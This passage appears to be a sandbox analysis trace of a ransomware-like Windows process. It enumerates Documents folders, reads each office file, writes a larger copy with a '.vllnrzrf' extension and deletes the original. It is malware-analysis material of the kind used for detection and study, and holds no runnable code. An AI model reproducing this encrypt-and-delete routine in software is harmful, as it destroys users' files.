"c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zoqyseitrteh33ux-c8.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0098.951] GetFileType (hFile=0x45c) returned 0x1 [0098.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0098.952] GetFileType (hFile=0x45c) returned 0x1 [0098.952] GetFileSize (in: hFile=0x45c, lpFileSizeHigh=0x1cf8e2c8 | out: lpFileSizeHigh=0x1cf8e2c8*=0x0) returned 0xd70c [0098.952] ReadFile (in: hFile=0x45c, lpBuffer=0x22ebd68, nNumberOfBytesToRead=0xd70c, lpNumberOfBytesRead=0x1cf8e1f8, lpOverlapped=0x0 | out: lpBuffer=0x22ebd68*, lpNumberOfBytesRead=0x1cf8e1f8*=0xd70c, lpOverlapped=0x0) returned 1 [0098.953] CloseHandle (hObject=0x45c) returned 1 [0098.964] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx.vllnrzrf", lpFilePart=0x0) returned 0x49 [0098.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf8e130) returned 1 [0098.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zoqyseitrteh33ux-c8.xlsx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0098.965] GetFileType (hFile=0x45c) returned 0x1 [0098.965] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf8e0a0) returned 1 [0098.965] GetFileType (hFile=0x45c) returned 0x1 [0098.965] WriteFile (in: hFile=0x45c, lpBuffer=0x23374b8*, nNumberOfBytesToWrite=0xd90c, lpNumberOfBytesWritten=0x1cf8e258, lpOverlapped=0x0 | out: lpBuffer=0x23374b8*, lpNumberOfBytesWritten=0x1cf8e258*=0xd90c, lpOverlapped=0x0) returned 1 [0098.967] CloseHandle (hObject=0x45c) returned 1 [0098.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx", lpFilePart=0x0) returned 0x40 [0098.984] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx", nBufferLength=0x105, lpBuffer=0x1cf8ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx", lpFilePart=0x0) returned 0x40 [0098.984] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ZOqysEitRTeh33UX-C8.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zoqyseitrteh33ux-c8.xlsx")) returned 1 [0098.986] CoUninitialize () Thread: id = 61 os_tid = 0x344 [0099.036] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.037] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1cfade20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0099.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfae280) returned 1 [0099.037] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", nBufferLength=0x105, lpBuffer=0x1cfadd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN", lpFilePart=0x0) returned 0x2d [0099.037] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\", nBufferLength=0x105, lpBuffer=0x1cfadd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\", lpFilePart=0x0) returned 0x2e [0099.037] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\*.*", lpFindFileData=0x1cfadf20 | out: lpFindFileData=0x1cfadf20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cac63f0, ftCreationTime.dwHighDateTime=0x1d5e415, ftLastAccessTime.dwLowDateTime=0x4998fa60, ftLastAccessTime.dwHighDateTime=0x1d5e09c, ftLastWriteTime.dwLowDateTime=0x4998fa60, ftLastWriteTime.dwHighDateTime=0x1d5e09c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0099.037] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfadf70 | out: lpFindFileData=0x1cfadf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4cac63f0, ftCreationTime.dwHighDateTime=0x1d5e415, ftLastAccessTime.dwLowDateTime=0x4998fa60, ftLastAccessTime.dwHighDateTime=0x1d5e09c, ftLastWriteTime.dwLowDateTime=0x4998fa60, ftLastWriteTime.dwHighDateTime=0x1d5e09c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.038] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfadf70 | out: lpFindFileData=0x1cfadf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbda4c0f0, ftCreationTime.dwHighDateTime=0x1d5e034, ftLastAccessTime.dwLowDateTime=0xc7828810, ftLastAccessTime.dwHighDateTime=0x1d5dbe2, ftLastWriteTime.dwLowDateTime=0xc7828810, ftLastWriteTime.dwHighDateTime=0x1d5dbe2, nFileSizeHigh=0x0, nFileSizeLow=0x17465, dwReserved0=0x0, dwReserved1=0x0, cFileName="--A7.pps", cAlternateFileName="")) returned 1 [0099.038] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfadf70 | out: lpFindFileData=0x1cfadf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170e020, ftCreationTime.dwHighDateTime=0x1d5e0fd, ftLastAccessTime.dwLowDateTime=0x2f9cf530, ftLastAccessTime.dwHighDateTime=0x1d5deda, ftLastWriteTime.dwLowDateTime=0x2f9cf530, ftLastWriteTime.dwHighDateTime=0x1d5deda, nFileSizeHigh=0x0, nFileSizeLow=0xbdeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCIllNEwNXweewLiOYv.xlsx", cAlternateFileName="OCILLN~1.XLS")) returned 1 [0099.038] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfadf70 | out: lpFindFileData=0x1cfadf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6efb5e0, ftCreationTime.dwHighDateTime=0x1d5d81c, ftLastAccessTime.dwLowDateTime=0x538b5aa0, ftLastAccessTime.dwHighDateTime=0x1d5db3c, ftLastWriteTime.dwLowDateTime=0x538b5aa0, ftLastWriteTime.dwHighDateTime=0x1d5db3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_QLeK", cAlternateFileName="")) returned 1 [0099.038] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1cfadf70 | out: lpFindFileData=0x1cfadf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6efb5e0, ftCreationTime.dwHighDateTime=0x1d5d81c, ftLastAccessTime.dwLowDateTime=0x538b5aa0, ftLastAccessTime.dwHighDateTime=0x1d5db3c, ftLastWriteTime.dwLowDateTime=0x538b5aa0, ftLastWriteTime.dwHighDateTime=0x1d5db3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_QLeK", cAlternateFileName="")) returned 0 [0099.038] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0099.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfae1d0) returned 1 [0099.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfae190) returned 1 [0099.040] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps", nBufferLength=0x105, lpBuffer=0x1cfadc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps", lpFilePart=0x0) returned 0x36 [0099.040] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps", nBufferLength=0x105, lpBuffer=0x1cfadc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps", lpFilePart=0x0) returned 0x36 [0099.040] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps", nBufferLength=0x105, lpBuffer=0x1cfadc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps", lpFilePart=0x0) returned 0x36 [0099.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfae170) returned 1 [0099.040] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\--a7.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0099.040] GetFileType (hFile=0x434) returned 0x1 [0099.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfae0e0) returned 1 [0099.040] GetFileType (hFile=0x434) returned 0x1 [0099.040] GetFileSize (in: hFile=0x434, lpFileSizeHigh=0x1cfae308 | out: lpFileSizeHigh=0x1cfae308*=0x0) returned 0x17465 [0099.041] ReadFile (in: hFile=0x434, lpBuffer=0x12256a98, nNumberOfBytesToRead=0x17465, lpNumberOfBytesRead=0x1cfae238, lpOverlapped=0x0 | out: lpBuffer=0x12256a98*, lpNumberOfBytesRead=0x1cfae238*=0x17465, lpOverlapped=0x0) returned 1 [0099.043] CloseHandle (hObject=0x434) returned 1 [0099.066] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfadc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps.vllnrzrf", lpFilePart=0x0) returned 0x3f [0099.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfae170) returned 1 [0099.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\--a7.pps.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0099.123] GetFileType (hFile=0x434) returned 0x1 [0099.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfae0e0) returned 1 [0099.124] GetFileType (hFile=0x434) returned 0x1 [0099.124] WriteFile (in: hFile=0x434, lpBuffer=0x122e2580*, nNumberOfBytesToWrite=0x17665, lpNumberOfBytesWritten=0x1cfae298, lpOverlapped=0x0 | out: lpBuffer=0x122e2580*, lpNumberOfBytesWritten=0x1cfae298*=0x17665, lpOverlapped=0x0) returned 1 [0099.127] CloseHandle (hObject=0x434) returned 1 [0099.129] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps", nBufferLength=0x105, lpBuffer=0x1cfadc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps", lpFilePart=0x0) returned 0x36 [0099.129] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps", nBufferLength=0x105, lpBuffer=0x1cfade30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps", lpFilePart=0x0) returned 0x36 [0099.129] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\--A7.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\--a7.pps")) returned 1 [0099.133] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx", nBufferLength=0x105, lpBuffer=0x1cfadc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx", lpFilePart=0x0) returned 0x46 [0099.133] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx", nBufferLength=0x105, lpBuffer=0x1cfadc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx", lpFilePart=0x0) returned 0x46 [0099.133] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx", nBufferLength=0x105, lpBuffer=0x1cfadc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx", lpFilePart=0x0) returned 0x46 [0099.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfae170) returned 1 [0099.133] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\ocillnewnxweewlioyv.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0099.134] GetFileType (hFile=0x434) returned 0x1 [0099.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfae0e0) returned 1 [0099.134] GetFileType (hFile=0x434) returned 0x1 [0099.134] GetFileSize (in: hFile=0x434, lpFileSizeHigh=0x1cfae308 | out: lpFileSizeHigh=0x1cfae308*=0x0) returned 0xbdeb [0099.134] ReadFile (in: hFile=0x434, lpBuffer=0x236e660, nNumberOfBytesToRead=0xbdeb, lpNumberOfBytesRead=0x1cfae238, lpOverlapped=0x0 | out: lpBuffer=0x236e660*, lpNumberOfBytesRead=0x1cfae238*=0xbdeb, lpOverlapped=0x0) returned 1 [0099.135] CloseHandle (hObject=0x434) returned 1 [0099.148] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1cfadc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx.vllnrzrf", lpFilePart=0x0) returned 0x4f [0099.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cfae170) returned 1 [0099.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\ocillnewnxweewlioyv.xlsx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x434 [0099.149] GetFileType (hFile=0x434) returned 0x1 [0099.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cfae0e0) returned 1 [0099.149] GetFileType (hFile=0x434) returned 0x1 [0099.149] WriteFile (in: hFile=0x434, lpBuffer=0x23b1658*, nNumberOfBytesToWrite=0xbfeb, lpNumberOfBytesWritten=0x1cfae298, lpOverlapped=0x0 | out: lpBuffer=0x23b1658*, lpNumberOfBytesWritten=0x1cfae298*=0xbfeb, lpOverlapped=0x0) returned 1 [0099.151] CloseHandle (hObject=0x434) returned 1 [0099.153] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx", nBufferLength=0x105, lpBuffer=0x1cfadc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx", lpFilePart=0x0) returned 0x46 [0099.153] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx", nBufferLength=0x105, lpBuffer=0x1cfade30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx", lpFilePart=0x0) returned 0x46 [0099.153] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\OCIllNEwNXweewLiOYv.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\ocillnewnxweewlioyv.xlsx")) returned 1 [0099.155] CoUninitialize () Thread: id = 62 os_tid = 0xac0 [0099.177] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0099.178] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1c92e320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0099.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92e780) returned 1 [0099.178] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", nBufferLength=0x105, lpBuffer=0x1c92e270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK", lpFilePart=0x0) returned 0x33 [0099.178] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\", nBufferLength=0x105, lpBuffer=0x1c92e210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\", lpFilePart=0x0) returned 0x34 [0099.178] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\*.*", lpFindFileData=0x1c92e420 | out: lpFindFileData=0x1c92e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6efb5e0, ftCreationTime.dwHighDateTime=0x1d5d81c, ftLastAccessTime.dwLowDateTime=0x538b5aa0, ftLastAccessTime.dwHighDateTime=0x1d5db3c, ftLastWriteTime.dwLowDateTime=0x538b5aa0, ftLastWriteTime.dwHighDateTime=0x1d5db3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0099.178] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e470 | out: lpFindFileData=0x1c92e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc6efb5e0, ftCreationTime.dwHighDateTime=0x1d5d81c, ftLastAccessTime.dwLowDateTime=0x538b5aa0, ftLastAccessTime.dwHighDateTime=0x1d5db3c, ftLastWriteTime.dwLowDateTime=0x538b5aa0, ftLastWriteTime.dwHighDateTime=0x1d5db3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.179] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e470 | out: lpFindFileData=0x1c92e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfe8db0, ftCreationTime.dwHighDateTime=0x1d5e043, ftLastAccessTime.dwLowDateTime=0xc6892190, ftLastAccessTime.dwHighDateTime=0x1d5d9ed, ftLastWriteTime.dwLowDateTime=0xc6892190, ftLastWriteTime.dwHighDateTime=0x1d5d9ed, nFileSizeHigh=0x0, nFileSizeLow=0x297d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEEAQcnC.docx", cAlternateFileName="EEEAQC~1.DOC")) returned 1 [0099.179] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e470 | out: lpFindFileData=0x1c92e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ccab10, ftCreationTime.dwHighDateTime=0x1d5dc89, ftLastAccessTime.dwLowDateTime=0x5519a030, ftLastAccessTime.dwHighDateTime=0x1d5dd07, ftLastWriteTime.dwLowDateTime=0x5519a030, ftLastWriteTime.dwHighDateTime=0x1d5dd07, nFileSizeHigh=0x0, nFileSizeLow=0xd1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="pRWD5h4dVW2KX1kNly.xlsx", cAlternateFileName="PRWD5H~1.XLS")) returned 1 [0099.179] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e470 | out: lpFindFileData=0x1c92e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b1bb40, ftCreationTime.dwHighDateTime=0x1d5da8a, ftLastAccessTime.dwLowDateTime=0x842122e0, ftLastAccessTime.dwHighDateTime=0x1d5ddde, ftLastWriteTime.dwLowDateTime=0x842122e0, ftLastWriteTime.dwHighDateTime=0x1d5ddde, nFileSizeHigh=0x0, nFileSizeLow=0x1854d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zsHZimv.ods", cAlternateFileName="")) returned 1 [0099.179] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e470 | out: lpFindFileData=0x1c92e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3fefa0, ftCreationTime.dwHighDateTime=0x1d5dcac, ftLastAccessTime.dwLowDateTime=0xfbef31a0, ftLastAccessTime.dwHighDateTime=0x1d5e355, ftLastWriteTime.dwLowDateTime=0xfbef31a0, ftLastWriteTime.dwHighDateTime=0x1d5e355, nFileSizeHigh=0x0, nFileSizeLow=0x8e76, dwReserved0=0x0, dwReserved1=0x0, cFileName="zUS6VJ7o_PHI8AIIP0P.pdf", cAlternateFileName="ZUS6VJ~1.PDF")) returned 1 [0099.179] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1c92e470 | out: lpFindFileData=0x1c92e470*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0099.180] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0099.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92e6d0) returned 1 [0099.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92e690) returned 1 [0099.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx", lpFilePart=0x0) returned 0x41 [0099.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx", lpFilePart=0x0) returned 0x41 [0099.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx", lpFilePart=0x0) returned 0x41 [0099.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92e670) returned 1 [0099.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\eeeaqcnc.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0099.181] GetFileType (hFile=0x41c) returned 0x1 [0099.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92e5e0) returned 1 [0099.181] GetFileType (hFile=0x41c) returned 0x1 [0099.181] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x1c92e808 | out: lpFileSizeHigh=0x1c92e808*=0x0) returned 0x297d [0099.181] ReadFile (in: hFile=0x41c, lpBuffer=0x23c0468, nNumberOfBytesToRead=0x297d, lpNumberOfBytesRead=0x1c92e738, lpOverlapped=0x0 | out: lpBuffer=0x23c0468*, lpNumberOfBytesRead=0x1c92e738*=0x297d, lpOverlapped=0x0) returned 1 [0099.182] CloseHandle (hObject=0x41c) returned 1 [0099.190] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c92e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx.vllnrzrf", lpFilePart=0x0) returned 0x4a [0099.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c92e670) returned 1 [0099.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ax3gN\\_QLeK\\EEEAQcnC.docx.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ax3gn\\_qlek\\eeeaqcnc.docx.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0099.191] GetFileType (hFile=0x41c) returned 0x1 [0099.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c92e5e0) returned 1 [0099.191] GetFileType (hFile=0x41c) returned 0x1 [0099.191] WriteFile (in: hFile=0x41c, lpBuffer=0x23d68f8*, nNumberOfBytesToWrite=0x2b7d, lpNumberOfBytesWritten=0x1c92e798, lpOverlapped=0x0 | out: lpBuffer=0x23d68f8*, lpNumberOfBytesWritten=0x1c92e798*=0x2b7d, lpOverlapped=0x0) returned 1 [0099.193] CloseHandle (hObject=0x41c) returned 1 [0099.194] GetFullPathNameW 